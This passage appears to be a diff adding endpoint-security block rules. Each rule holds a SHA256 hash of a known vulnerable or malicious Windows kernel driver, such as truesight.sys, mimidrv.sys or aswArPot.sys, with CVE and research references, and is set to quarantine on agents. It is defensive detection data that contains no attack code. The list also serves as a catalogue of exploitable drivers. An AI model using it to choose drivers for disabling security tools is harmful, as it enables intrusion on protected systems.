+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480622Z",
+  "creation_date": "2026-03-23T11:45:31.480626Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32be3865897c1423e766f12f0844379dbf66b3453573baa7208cffa5f2863380",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "569ccba0-7180-5c9f-aab3-dff41529e892",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473005Z",
+  "creation_date": "2026-03-23T11:45:31.473008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473016Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec5a5a764b10d24330442ad8c430689cf9fe3d3d5736a865024b0fe69200fedf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "569d7171-641e-5dad-8fdb-0c2e5086d9de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464762Z",
+  "creation_date": "2026-03-23T11:45:30.464766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464774Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c89c907b7525b39409af1ad11cc7d2400263601edafc41c935715ef5bd145de",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56ac63a3-f3c1-542d-8ed2-361423412c15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817097Z",
+  "creation_date": "2026-03-23T11:45:31.817099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817105Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "273fb23894e8fc17634c298d924c95bc49f7dddb11a7b9aa6204bb377371445e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56bb8a44-0b37-5722-8d54-42f8091f25fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454358Z",
+  "creation_date": "2026-03-23T11:45:30.454362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e61004335dfe7349f2b2252baa1e111fb47c0f2d6c78a060502b6fcc92f801e4",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56c72148-3d6a-5bc0-b96b-42db4ccd9943",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819550Z",
+  "creation_date": "2026-03-23T11:45:30.819552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819557Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64a8e00570c68574b091ebdd5734b87f544fa59b75a4377966c661d0475d69a5",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56c87519-c83c-54bf-86b5-35d2f50f8a13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972301Z",
+  "creation_date": "2026-03-23T11:45:29.972303Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94b42f99cb2ac4db601a3759afe374168bad1714bd48662d74fed69099517a65",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56cd4429-61e3-527d-af02-afd9fd8fc001",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156466Z",
+  "creation_date": "2026-03-23T11:45:31.156468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15a4c8495fc6e8d94c7b7a2f8a05ed92a563b51f915929ef2e46261ac5793a07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56d89bbc-8281-50e1-b537-f63b2906bda9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823179Z",
+  "creation_date": "2026-03-23T11:45:31.823182Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823190Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10604ddc07eb097b4ec8cfaff0b94f35722baab0e8e4ac66fecf2aa2b45a5c1a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56ec96f0-ffc5-5419-97a3-134ed8446ac1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492785Z",
+  "creation_date": "2026-03-23T11:45:31.492787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1fd5786000e1c8e0c60129b3acfe9ae0128f8c4fadb5308ed8e05207c7dffecc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56ee56dd-cd2f-5962-ada6-e3af6b0ad354",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482663Z",
+  "creation_date": "2026-03-23T11:45:31.482667Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482677Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9347d7132656d9e9996aef18700e0cc8abb3e88b082b78ed1ece49c5614cb745",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56fedf0c-150a-5ed8-9ca6-d1fac98d887f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159768Z",
+  "creation_date": "2026-03-23T11:45:31.159770Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ccab572ef2e48b88b5771be6f1c8edbbbf726ab25fcf104ac7cc309ab5d0cb1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57064d2b-418b-50c2-b59c-2194f0a14f27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147824Z",
+  "creation_date": "2026-03-23T11:45:31.147826Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147831Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a10f757dff2b419be2a656edb466d23dd04f1e3bcba39f8d5b371b9a7075eff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5719b49c-488e-5201-91ae-dddb68c22ae9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808939Z",
+  "creation_date": "2026-03-23T11:45:31.808942Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808954Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "add7cf1ac2d779e1c976e9f71ab09fbf907c1ba6e77e8c8d55c5dab4d73a2d4a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "571a10f6-eeed-5b34-93ad-7a5f4d74315f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472314Z",
+  "creation_date": "2026-03-23T11:45:30.472318Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472327Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a0702681bc51419fbd336817787a966c7f92cabe09f8e959251069578dfa881",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "572affc0-f4b9-514d-9c5a-7a9600d5bc75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154282Z",
+  "creation_date": "2026-03-23T11:45:31.154284Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7267ed91737dfcf283c524f8f77119afc4ca9dd679f35fafe1187be8f815f6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "572d304f-d972-5498-9537-6462a3a34e91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969274Z",
+  "creation_date": "2026-03-23T11:45:29.969276Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad8ffccfde782bc287241152cf24245a8bf21c2530d81c57e17631b3c4adb833",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57325f85-54a4-5fa6-b985-392f892907c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971968Z",
+  "creation_date": "2026-03-23T11:45:29.971970Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19bf0d0f55d2ad33ef2d105520bde8fb4286f00e9d7a721e3c9587b9408a0775",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5733b3d0-b9e9-5d21-a902-a154077b3dd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160552Z",
+  "creation_date": "2026-03-23T11:45:31.160554Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89e3b48604ac98da4da740008b29295ad622b15a2f7eeec1fd5317d926ebe5c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57395476-b9bf-5ab1-843f-744ed5960536",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608831Z",
+  "creation_date": "2026-03-23T11:45:29.608833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608838Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e5abe4530eff3838d44516f95c15d8b3ec6cec44ca7b67998e50641c939d12a",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5740ede6-c4bf-5a59-bafc-b83fa883e0d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608265Z",
+  "creation_date": "2026-03-23T11:45:29.608267Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608272Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786",
+  "comment": "Vulnerable Kernel Driver (aka STProcessMonitor.sys) [https://github.com/ANYLNK/STProcessMonitorBYOVD/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57459303-ac3a-5571-8b1f-f184176e461d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490540Z",
+  "creation_date": "2026-03-23T11:45:31.490542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea32fb5b27bc5cf85af687d61837cee2ac67d2412c58ac32a7375afc8a7b3d39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "574a0095-9367-5774-b5ba-bc362c9beac9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142379Z",
